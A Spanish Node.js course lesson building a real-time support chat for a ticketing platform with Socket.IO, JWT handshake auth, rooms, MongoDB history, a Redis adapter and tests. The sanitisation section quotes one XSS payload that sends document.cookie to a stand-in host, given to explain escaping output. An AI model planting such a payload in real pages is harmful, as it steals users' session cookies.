En el cierre del Módulo 11 quedó dicho: dejamos de construir una sola aplicación para construir cuatro completas. Y conviene aclarar de entrada que no son cuatro dominios inventados ni cuatro ejercicios sueltos: son productos satélite de Escena Viva, la plataforma de venta de entradas que llevas construyendo desde el Módulo 1. El hilo conductor no se rompe, se ramifica.

Este primer proyecto es el soporte en directo de Escena Viva. Lucía compra dos entradas para el evt-003 (Festival de Jazz de Primavera), no le llega el correo con los códigos EV-2026-000417 y EV-2026-000418, y en vez de escribir un correo que se responderá en dos días abre un chat desde la web. Al otro lado, un agente ve la conversación entrar en una cola y la atiende.

La idea genuinamente nueva es la comunicación bidireccional en tiempo real. Todo lo anterior sigue un patrón: el cliente pregunta, el servidor responde. Aquí, por primera vez, el servidor necesita hablar sin que nadie le haya preguntado.

Contenido

  1. El requisito de negocio y por qué HTTP no basta
  2. Decisiones de diseño: sondeo, sondeo largo, SSE y WebSocket
  3. Qué añade Socket.IO y qué cuesta
  4. Integración con la aplicación existente
  5. Autenticar el socket en el handshake
  6. El contrato de eventos del dominio
  7. Salas: conversaciones y grupo de agentes
  8. Persistencia del historial y carga por cursor
  9. El reto técnico: escalar el tiempo real a varios procesos
  10. Presencia, validación y límite de frecuencia
  11. Pruebas y qué queda fuera

  1. El requisito de negocio y por qué HTTP no basta

  • Un asistente autenticado abre una conversación desde cualquier página, y queda en una cola visible para los agentes conectados.
  • Un agente la toma; a partir de ahí tiene exactamente un agente asignado.
  • Ambos ven los mensajes del otro al instante, sin recargar, y cuándo el otro escribe.
  • El historial se conserva: si Lucía vuelve mañana, ve lo que se dijo.

Todo eso es un CRUD normal salvo el punto tercero. Con el servidor node:http del M4 y el Express 5 del M6, el servidor solo puede hablar cuando le preguntan. Si el agente responde, no hay nada en el modelo petición-respuesta que lleve ese mensaje al navegador de Lucía por iniciativa del servidor.

  1. Decisiones de diseño: sondeo, sondeo largo, SSE y WebSocket

Técnica Cómo funciona Latencia Coste servidor Bidireccional Cuándo elegirla
Sondeo El cliente pide cada N segundos N/2 de media Alto: peticiones vacías No Datos que cambian cada minutos, pocos clientes
Sondeo largo El servidor retiene la respuesta hasta que hay novedad Casi inmediata Medio No Respaldo si WebSocket está bloqueado
SSE (text/event-stream) Conexión HTTP abierta por la que el servidor escribe eventos Inmediata Bajo No: solo servidor → cliente Notificaciones, marcadores, progreso
WebSocket Actualización del protocolo a un canal TCP full-dúplex Inmediata Bajo Sí Chat, colaboración, juegos

Descartes razonados. El sondeo: con 300 asistentes y sondeo cada 2 s son 150 peticiones por segundo, casi todas devolviendo vacío; peor latencia y más gasto. El sondeo largo funciona —de hecho es el respaldo interno de Socket.IO— pero elegirlo como mecanismo principal obliga a reimplementar reconexión, orden y agrupamiento a mano. SSE es la opción que más gente descarta demasiado rápido, y es excelente: si el requisito fuera solo "el asistente ve las respuestas en vivo", ganaría, porque es HTTP estándar, atraviesa proxies, se reconecta solo con Last-Event-ID y no necesita librería; pero aquí el asistente también escribe, y con SSE tendríamos dos canales (SSE para bajar, POST para subir), dos rutas de autenticación y dos de error. La asimetría no compensa. WebSocket gana porque el dominio es simétrico: ambos extremos emiten y reciben con la misma frecuencia y urgencia.

  1. Qué añade Socket.IO y qué cuesta

Necesidad WebSocket puro Socket.IO
Reconexión al perder la red La escribes tú Incluida y configurable
Enviar a un subconjunto de clientes Estructura de datos propia Salas (socket.join)
Saber si el otro recibió el mensaje Protocolo propio Confirmaciones (callback de emit)
Redes que bloquean el Upgrade Falla Respaldo a sondeo largo
Separar dominios en un puerto Rutas propias Espacios de nombres (/soporte)

El coste, sin adornos: Socket.IO no es WebSocket estándar, su protocolo va por encima. Un cliente que abra new WebSocket('wss://...') no entenderá nada: el cliente debe ser socket.io-client. Si mañana el requisito fuera "que un sistema externo se conecte a nuestro canal", esa decisión pasa factura. Aquí ambos extremos son nuestro front-end, así que el coste es asumible y la ganancia enorme.

npm install socket.io @socket.io/redis-adapter && npm install -D socket.io-client

ioredis ya está desde el M10; el adaptador lo reutiliza.

  1. Integración con la aplicación existente

Aquí se cobra una decisión de hace seis módulos. En el M6 insististe en que src/app.js exporta crearAplicacion() y nunca llama a listen; el listen vive en src/servidor.js, que crea el http.Server a mano. Esa separación es exactamente lo que permite montar Socket.IO ahora: no se monta sobre una aplicación Express, se monta sobre un servidor HTTP.

// src/servidor.js — se amplía, no se reescribe
const http = require('node:http');
const { crearAplicacion } = require('./app.js');
const { configuracion } = require('./config/index.js');
const { montarTiempoReal } = require('./tiempo-real/servidor-sockets.js');

async function arrancarServidor() {
  const servidorHttp = http.createServer(crearAplicacion());
  // El mismo servidor HTTP sirve la API REST y el canal de tiempo real.
  const io = await montarTiempoReal(servidorHttp);
  servidorHttp.listen(configuracion.puerto);

  // Apagado ordenado (M11): primero los sockets, luego el HTTP.
  // Al revés dejaríamos conexiones colgando sin avisar al cliente.
  const apagar = async () => {
    await io.close();
    servidorHttp.close(() => process.exit(0));
  };
  process.on('SIGTERM', apagar);
  return { servidorHttp, io };
}
module.exports = { arrancarServidor };

Un solo puerto: la API en /api/v1/... y el tiempo real en /socket.io/ conviven, sin tocar el balanceador ni el docker compose del M11. El SIGINT se registra igual que el SIGTERM.

  1. Autenticar el socket en el handshake

Reutilizamos verificarAcceso de src/servicios/tokens.js (M8) tal cual: no hay una autenticación "de sockets", hay la misma identidad verificada en otro punto.

// src/tiempo-real/autenticacion-socket.js
const { verificarAcceso } = require('../servicios/tokens.js');

// Middleware de Socket.IO: corre una vez, en el handshake,
// antes de que el socket pueda emitir nada.
function autenticarSocket(socket, siguiente) {
  const token = socket.handshake.auth?.token;
  if (!token) return siguiente(new Error('CREDENCIALES_AUSENTES'));
  try {
    const carga = verificarAcceso(token);
    // La identidad queda en el socket y estará disponible en cada evento.
    socket.datosUsuario = { usuarioId: carga.sub, rol: carga.rol, nombre: carga.nombre };
    return siguiente();
  } catch { return siguiente(new Error('CREDENCIALES_INVALIDAS')); }
}
module.exports = { autenticarSocket };

Por qué el token de acceso y no la cookie de refresco. La cookie viajaría también en el handshake si el origen coincide, pero apoyarse en ella es mala idea: no debe usarse para autorizar operaciones sino solo para emitir accesos nuevos; en despliegues con dominios distintos no viaja sin relajar SameSite; y handshake.auth es explícito, el cliente decide qué credencial entrega. El problema que se descubre en producción: el acceso caduca a los 15 minutos y el socket vive horas. La conexión no se cae sola. La solución sana es revalidar dentro del propio socket con un setInterval de un minuto que verifique el token guardado y, si falla, emita sesion:caducada y desconecte. El cliente renueva por REST con su cookie de refresco y reconecta. Dejar el socket vivo para siempre equivale a que revocar a un usuario no tenga efecto hasta que cierre el navegador.

  1. El contrato de eventos del dominio

Un nombre de evento es un contrato tan serio como una ruta REST. Nadie renombraría POST /api/v1/pedidos a la ligera; renombrar mensaje:enviar rompe igual, con el agravante de que no hay 404: el cliente emite al vacío y nadie se entera. Por eso los eventos se documentan, se versionan con el espacio de nombres (/soporte/v1) y se centralizan.

// src/tiempo-real/eventos.js
// Contrato público del canal. Cambiar un nombre aquí es incompatible.
const EVENTOS = {
  // Cliente → servidor
  CONVERSACION_ABRIR: 'conversacion:abrir', CONVERSACION_CERRAR: 'conversacion:cerrar',
  MENSAJE_ENVIAR: 'mensaje:enviar', AGENTE_ESCRIBIENDO: 'agente:escribiendo',
  HISTORIAL_CARGAR: 'historial:cargar',
  // Servidor → cliente
  MENSAJE_RECIBIDO: 'mensaje:recibido', CONVERSACION_ASIGNADA: 'conversacion:asignada',
  COLA_ACTUALIZADA: 'cola:actualizada',
};
module.exports = { EVENTOS };

Las confirmaciones convierten esto en algo fiable: el último argumento de emit puede ser una función que el receptor invoca.

// Cliente: envía y espera confirmación con tiempo límite.
socket.timeout(5000).emit('mensaje:enviar',
  { conversacionId, texto, idClienteMensaje: crypto.randomUUID() },
  (errorTiempo, respuesta) => errorTiempo
    ? reintentar(idClienteMensaje)
    : marcarEntregado(idClienteMensaje, respuesta.mensajeId));

El idClienteMensaje es la clave del reintento seguro: es la idempotencia del Idempotency-Key del M10 aplicada a un socket. Si el cliente reintenta porque no llegó la confirmación, el servidor reconoce el identificador y devuelve el mensaje ya guardado en vez de duplicarlo.

  1. Salas: conversaciones y grupo de agentes

Una sala es solo una etiqueta sobre un conjunto de sockets. Usamos tres familias:

Sala Quién entra Para qué
conversacion:<id> El asistente dueño y el agente asignado Mensajes y "escribiendo"
agentes Sockets con rol organizador o administrador Cola de conversaciones sin atender
usuario:<id> Todos los sockets de un mismo usuario Avisos personales (varias pestañas)
// src/tiempo-real/manejadores/conversacion.js
const { EVENTOS } = require('../eventos.js');
const { esquemaAbrirConversacion, esquemaMensaje } = require('../esquemas.js');

function registrarManejadoresConversacion({ io, socket, repositorioChat }) {
  const { usuarioId, rol, nombre } = socket.datosUsuario;
  socket.join(`usuario:${usuarioId}`);
  if (rol === 'organizador' || rol === 'administrador') socket.join('agentes');

  socket.on(EVENTOS.CONVERSACION_ABRIR, async (datos, confirmar) => {
    const analisis = esquemaAbrirConversacion.safeParse(datos);
    if (!analisis.success) return confirmar({ error: { codigo: 'DATOS_INVALIDOS', estado: 400 } });
    const conversacion = await repositorioChat.crearConversacion({
      asistenteId: usuarioId, asistenteNombre: nombre, ...analisis.data,
      estado: 'en_cola', creadaEn: new Date().toISOString() });
    socket.join(`conversacion:${conversacion.id}`);
    io.to('agentes').emit(EVENTOS.COLA_ACTUALIZADA, { conversacion });
    return confirmar({ conversacion });
  });

  socket.on(EVENTOS.MENSAJE_ENVIAR, async (datos, confirmar) => {
    const analisis = esquemaMensaje.safeParse(datos);
    if (!analisis.success) return confirmar({ error: { codigo: 'DATOS_INVALIDOS', estado: 400 } });
    const { conversacionId, texto, idClienteMensaje } = analisis.data;
    // Autorización: el socket debe estar en la sala. Es la versión en tiempo
    // real de la referencia directa insegura del M8. Comprobar socket.rooms
    // es barato y correcto porque entrar en la sala solo lo concede el servidor.
    if (!socket.rooms.has(`conversacion:${conversacionId}`)) {
      return confirmar({ error: { codigo: 'ACCESO_DENEGADO', estado: 403 } });
    }
    const mensaje = await repositorioChat.guardarMensaje({
      conversacionId, autorId: usuarioId, autorNombre: nombre, autorRol: rol,
      texto, idClienteMensaje, enviadoEn: new Date().toISOString() });
    io.to(`conversacion:${conversacionId}`).emit(EVENTOS.MENSAJE_RECIBIDO, mensaje);
    return confirmar({ mensajeId: mensaje.id });
  });
}
module.exports = { registrarManejadoresConversacion };

  1. Persistencia del historial y carga por cursor

El historial vive en MongoDB (M7), con el patrón repositorio y sin filtrar Mongoose fuera de src/repositorios/.

// src/repositorios/chat-mongo.js — extracto
// La consulta siempre es "esta conversación, por fecha".
esquemaMensaje.index({ conversacionId: 1, enviadoEn: -1 });
// Índice único: bloquea el duplicado del reintento del punto 6.
esquemaMensaje.index({ conversacionId: 1, idClienteMensaje: 1 }, { unique: true });

async function cargarHistorial({ conversacionId, cursor, limite = 30 }) {
  const filtro = { conversacionId };
  // Paginación por cursor del M10: nada de skip, que degrada con el volumen.
  if (cursor) filtro.enviadoEn = { $lt: new Date(cursor) };
  const docs = await ModeloMensaje.find(filtro).sort({ enviadoEn: -1 }).limit(limite + 1).lean();
  const hayMas = docs.length > limite;
  const pagina = hayMas ? docs.slice(0, limite) : docs;
  return { mensajes: pagina.reverse().map(aDominio),
           cursorSiguiente: hayMas ? pagina[0].enviadoEn.toISOString() : null };
}

Al abrir se cargan los 30 últimos; al desplazarse hacia arriba, el cliente emite historial:cargar con cursorSiguiente. Es la paginación del M10 aplicada hacia el pasado.

  1. El reto técnico: escalar el tiempo real a varios procesos

En el M10 arrancaste con cluster, y en el M11 con PM2 y varias réplicas en Docker. Con una API REST sin estado eso no cambia nada. Con sockets sí importa, y de la peor manera: Lucía se conecta y el balanceador la manda al proceso A, donde vive su socket; Marc, el agente, cae en el proceso B y responde, así que B ejecuta io.to('conversacion:42').emit(...); pero B solo conoce sus sockets y en su tabla esa sala contiene únicamente a Marc. El mensaje se guarda en MongoDB y Lucía no ve nada hasta recargar. Es el bug más desconcertante posible: "funciona en local, funciona a veces en producción".

La causa es que el registro de sockets y salas es memoria local del proceso. La solución es el adaptador de Redis: cada emisión se publica en un bus compartido y cada proceso reparte a los suyos.

flowchart LR
  subgraph PA["Proceso A"]
    L["socket de Lucia"]
  end
  subgraph PB["Proceso B"]
    M["socket de Marc"]
  end
  R[("Redis pub/sub")]
  M -->|"emit a conversacion:42"| PB
  PB -->|"PUBLISH"| R
  R -->|"SUBSCRIBE"| PA
  PA -->|"entrega local"| L
// src/tiempo-real/servidor-sockets.js
const { Server } = require('socket.io');
const { createAdapter } = require('@socket.io/redis-adapter');
const Redis = require('ioredis');
const { autenticarSocket } = require('./autenticacion-socket.js');
const { registrarManejadoresConversacion } = require('./manejadores/conversacion.js');

async function montarTiempoReal(servidorHttp) {
  const io = new Server(servidorHttp, {
    cors: { origin: configuracion.origenesPermitidos, credentials: true },
    maxHttpBufferSize: 100_000,  // el defecto (1 MB) es absurdo para chat
    pingInterval: 25_000, pingTimeout: 20_000 });
  // Dos conexiones: en Redis un cliente suscrito no puede ejecutar
  // otros comandos, y el adaptador necesita publicar y suscribir.
  const publicador = new Redis(configuracion.redis.url);
  io.adapter(createAdapter(publicador, publicador.duplicate()));

  const soporte = io.of('/soporte/v1');
  soporte.use(autenticarSocket);
  const repositorioChat = crearRepositorioChat();
  soporte.on('connection', (socket) =>
    registrarManejadoresConversacion({ io: soporte, socket, repositorioChat }));
  return io;
}
module.exports = { montarTiempoReal };

Con esto, io.to(...) funciona igual con un proceso que con doce. Dos advertencias: el adaptador no persiste (si Lucía está desconectada, no recibe nada; por eso MongoDB es la fuente de verdad y el socket solo el canal rápido), y con respaldo de sondeo largo activo hacen falta sesiones pegajosas, porque las peticiones de un mismo cliente deben caer en el mismo proceso. Si fijas transports: ['websocket'], no hace falta.

  1. Presencia, validación y límite de frecuencia

Presencia. "Está en línea" parece un booleano y no lo es: un portátil que se cierra no avisa (el servidor se entera al fallar el latido, hasta 20 s después) y cerrar una pestaña de tres no significa irse. La regla: un contador de sockets por usuario en Redis.

async function marcarConectado({ redis, io, usuarioId }) {
  const total = await redis.incr(`presencia:${usuarioId}`);
  // Red de seguridad: si el proceso muere nunca hará el decr,
  // y sin caducidad el contador quedaría inflado para siempre.
  await redis.expire(`presencia:${usuarioId}`, 120);
  if (total === 1) io.emit('presencia:cambiada', { usuarioId, enLinea: true });
}
async function marcarDesconectado({ redis, io, usuarioId }) {
  if ((await redis.decr(`presencia:${usuarioId}`)) > 0) return;
  await redis.del(`presencia:${usuarioId}`);
  io.emit('presencia:cambiada', { usuarioId, enLinea: false });
}

Validación. req.datosValidados es un middleware de Express y los eventos de socket no pasan por Express: hay que validar en cada manejador con los mismos esquemas zod del M6.

// src/tiempo-real/esquemas.js
const esquemaMensaje = z.object({
  conversacionId: z.string().uuid(),
  texto: z.string().trim().min(1).max(2000),
  idClienteMensaje: z.string().uuid(),
});
const esquemaAbrirConversacion = z.object({
  asunto: z.string().trim().min(3).max(120),
  eventoId: z.string().regex(/^evt-\d{3}$/).optional(),  // 'evt-003'
});
module.exports = { esquemaMensaje, esquemaAbrirConversacion };

Saneado. El XSS entra por el chat: si un asistente escribe <img src=x onerror="fetch('//malo.test?c='+document.cookie)"> y el panel del agente lo pinta con innerHTML, el atacante ejecuta código en la sesión de un organizador. La regla del M8 sigue vigente: escapar al mostrar. El servidor guarda el texto tal cual y el cliente usa textContent. Si el producto exige negrita y enlaces, se sanea en el servidor con lista blanca, como en el magazine del 12-03. Y el límite de frecuencia: express-rate-limit tampoco actúa aquí, así que un contador en el propio socket basta —guarda las marcas de tiempo de los últimos 10 segundos y rechaza si ya hay 10.

  1. Pruebas y qué queda fuera

Aquí hace falta un servidor real escuchando, porque el protocolo necesita un puerto. El patrón: levantar en el puerto 0, conectar clientes reales y cerrarlo todo en el afterEach.

// test/tiempo-real/chat.test.js
describe('soporte en directo', () => {
  let servidor; let sockets; let url;
  beforeEach(async () => {
    servidor = http.createServer(crearAplicacion());
    sockets = await montarTiempoReal(servidor);
    await new Promise((listo) => servidor.listen(0, listo)); // puerto 0: uno libre
    url = `http://localhost:${servidor.address().port}/soporte/v1`;
  });
  afterEach(async () => { await sockets.close(); servidor.close(); });

  const conectar = (rol, usuarioId) => clienteIo(url, { transports: ['websocket'],
    auth: { token: firmarTokenDePrueba({ sub: usuarioId, rol, nombre: usuarioId }) } });

  it('rechaza la conexion sin token', (fin) => {
    const cliente = clienteIo(url, { transports: ['websocket'] });
    cliente.on('connect_error', (error) => {
      expect(error.message).to.equal('CREDENCIALES_AUSENTES');
      cliente.close(); fin();
    });
  });
  it('no entrega la conversacion a un tercero ajeno a la sala', (fin) => {
    const lucia = conectar('asistente', 'usr-lucia');
    const intruso = conectar('asistente', 'usr-intruso');
    intruso.on('mensaje:recibido', () => fin(new Error('fuga entre salas')));
    lucia.emit('conversacion:abrir', { asunto: 'No recibo mis entradas' }, (r) =>
      lucia.emit('mensaje:enviar', { conversacionId: r.conversacion.id, texto: 'Hola',
        idClienteMensaje: '11111111-1111-4111-8111-111111111111',
      }, () => setTimeout(() => { lucia.close(); intruso.close(); fin(); }, 200)));
  });
});

No pruebes que Socket.IO entrega mensajes: eso lo prueban ellos. Prueba tu lógica: el rechazo sin token, el aislamiento de salas, la idempotencia del idClienteMensaje y que nadie emite a una conversación en la que no está.

Fuera del alcance Por qué Cómo se ampliaría
Adjuntos Duplica el trabajo de subida del 12-03 Subir por REST y enviar por socket la URL firmada
Cifrado extremo a extremo Incompatible con moderación y auditoría Solo si el negocio acepta no leer las conversaciones
Transcripciones por correo Es trabajo de cola, no tiempo real Trabajo BullMQ (M10) al cerrar la conversación
Chatbot de primera línea Es otro dominio entero Base de conocimiento antes de encolar al agente

Errores Comunes y Consejos

  • Emitir desde un controlador REST sin acceso a io. No lo importes como singleton global: inyéctalo como dependencia (crearControladorPedidos({ repositorio, notificador })), igual que en el M6. Se prueba con Sinon y no acopla capas.
  • Olvidar el adaptador de Redis hasta producción. En local con un proceso todo funciona. Añádelo desde el primer día.
  • Confiar en el usuarioId que envía el cliente. La identidad está en socket.datosUsuario, puesta por el handshake verificado.
  • No poner maxHttpBufferSize (un mensaje de 5 MB tumbaría la memoria) ni recrear conexiones de Redis por socket: dos para todo el proceso, creadas una vez.
  • Consejo: registra con pino (M11) cada evento con usuarioId y conversacionId. Un canal en tiempo real sin registros es imposible de depurar.

Ejercicios

  1. Cola de agentes con reparto. Implementa conversacion:tomar: solo un agente puede tomar una conversación en cola; si dos lo intentan a la vez, el segundo recibe { error: { codigo: 'CONFLICTO_DE_ESTADO', estado: 409 } }. Emite a la sala agentes para que desaparezca de la cola de los demás.

  2. Indicador de escritura con caducidad. Implementa agente:escribiendo de modo que el indicador se apague solo si no llegan eventos en 3 segundos, sin emitir uno por cada tecla.

  3. Prueba del reintento idempotente. Envía dos veces el mismo idClienteMensaje y verifica que el historial contiene un único mensaje y que la segunda confirmación devuelve el mismo mensajeId.

Soluciones

1. Cola de agentes con reparto

socket.on('conversacion:tomar', async (datos, confirmar) => {
  const { rol, usuarioId, nombre } = socket.datosUsuario;
  if (rol !== 'organizador' && rol !== 'administrador') {
    return confirmar({ error: { codigo: 'ACCESO_DENEGADO', estado: 403 } });
  }
  // Actualización condicional atómica: solo cambia si sigue en cola.
  // Misma idea del bloqueo del M7: la condición viaja en la consulta.
  const conversacion = await repositorioChat.asignarSiEnCola({
    conversacionId: datos.conversacionId, agenteId: usuarioId, agenteNombre: nombre });
  if (!conversacion) return confirmar({ error: { codigo: 'CONFLICTO_DE_ESTADO', estado: 409,
    mensaje: 'La conversacion ya fue tomada por otro agente' } });
  socket.join(`conversacion:${conversacion.id}`);
  io.to('agentes').emit('cola:actualizada', { conversacionId: conversacion.id, retirada: true });
  io.to(`conversacion:${conversacion.id}`).emit('conversacion:asignada', conversacion);
  return confirmar({ conversacion });
});

El repositorio usa findOneAndUpdate({ _id, estado: 'en_cola' }, { $set: { estado: 'atendida', agenteId } }, { new: true }): si otro agente llegó antes, el filtro no encaja y devuelve null. Sin transacciones y sin condiciones de carrera.

2. Indicador de escritura con caducidad

// Servidor: reenvía a la sala menos al emisor, con marca de caducidad.
socket.on('agente:escribiendo', ({ conversacionId }) => {
  if (!socket.rooms.has(`conversacion:${conversacionId}`)) return;
  // socket.to (no io.to) excluye al emisor, que es lo que queremos aquí.
  socket.to(`conversacion:${conversacionId}`).emit('agente:escribiendo',
    { usuarioId: socket.datosUsuario.usuarioId, hasta: Date.now() + 3000 });
});

// Cliente: limita a una emisión cada 2 s y apaga por temporizador.
socket.on('agente:escribiendo', ({ usuarioId, hasta }) => {
  mostrarIndicador(usuarioId);
  clearTimeout(temporizadores[usuarioId]);
  temporizadores[usuarioId] = setTimeout(() => ocultarIndicador(usuarioId), hasta - Date.now());
});

En el emisor, el input no emite en cada tecla: guarda la marca de la última emisión y solo vuelve a emitir pasados 2 segundos. Así el tráfico es constante aunque se escriba muy rápido.

3. Prueba del reintento idempotente

it('no duplica el mensaje si el cliente reintenta', async () => {
  const lucia = conectar('asistente', 'usr-lucia');
  const { conversacion } = await emitirConEspera(lucia, 'conversacion:abrir',
    { asunto: 'Duda con evt-001' });
  const carga = { conversacionId: conversacion.id, texto: 'Hola',
                  idClienteMensaje: '22222222-2222-4222-8222-222222222222' };
  const primera = await emitirConEspera(lucia, 'mensaje:enviar', carga);
  const segunda = await emitirConEspera(lucia, 'mensaje:enviar', carga);
  expect(segunda.mensajeId).to.equal(primera.mensajeId);
  const { mensajes } = await emitirConEspera(lucia, 'historial:cargar',
    { conversacionId: conversacion.id });
  expect(mensajes).to.have.lengthOf(1);
  lucia.close();
});

En el repositorio, guardarMensaje captura el error de clave duplicada (error.code === 11000) del índice único del punto 8 y devuelve el documento existente. La idempotencia se apoya en la base de datos, no en memoria: así funciona también con varios procesos.

Conclusión

Has construido el soporte en directo de Escena Viva y, con él, lo único que faltaba en tu modelo mental del servidor: que puede hablar primero. Elegiste WebSocket sobre SSE porque el dominio es simétrico, aceptaste el coste de Socket.IO a cambio de reconexión, salas y confirmaciones, y montaste el canal sobre el mismo http.Server que ya tenías gracias a una decisión del M6 que hoy ha cobrado sentido.

El reto no era abrir un socket: era descubrir que el tiempo real y el escalado horizontal se llevan mal por naturaleza, entender por qué el mensaje se pierde entre procesos y resolverlo con el adaptador de Redis. Ese patrón —estado local que deja de ser válido en cuanto hay más de un proceso— reaparecerá cada vez que escales algo.

En la próxima lección montamos la tienda de merchandising de Escena Viva, donde aparece el elemento que cambia todas las reglas de ingeniería: el dinero de verdad, con pasarela de pago, webhooks firmados y una máquina de estados que no admite errores.

Curso de Node.js: De Principiante a Avanzado

Módulo 1: Introducción a Node.js

Módulo 2: Conceptos Básicos

Módulo 3: Sistema de Archivos y E/S

Módulo 4: HTTP y Servidores Web

Módulo 5: NPM y Gestión de Paquetes

Módulo 6: Framework Express.js

Módulo 7: Bases de Datos y ORMs

Módulo 8: Autenticación y Autorización

Módulo 9: Pruebas y Depuración

Módulo 10: Temas Avanzados

Módulo 11: Despliegue y DevOps

Módulo 12: Proyectos del Mundo Real

© Copyright 2026. Todos los derechos reservados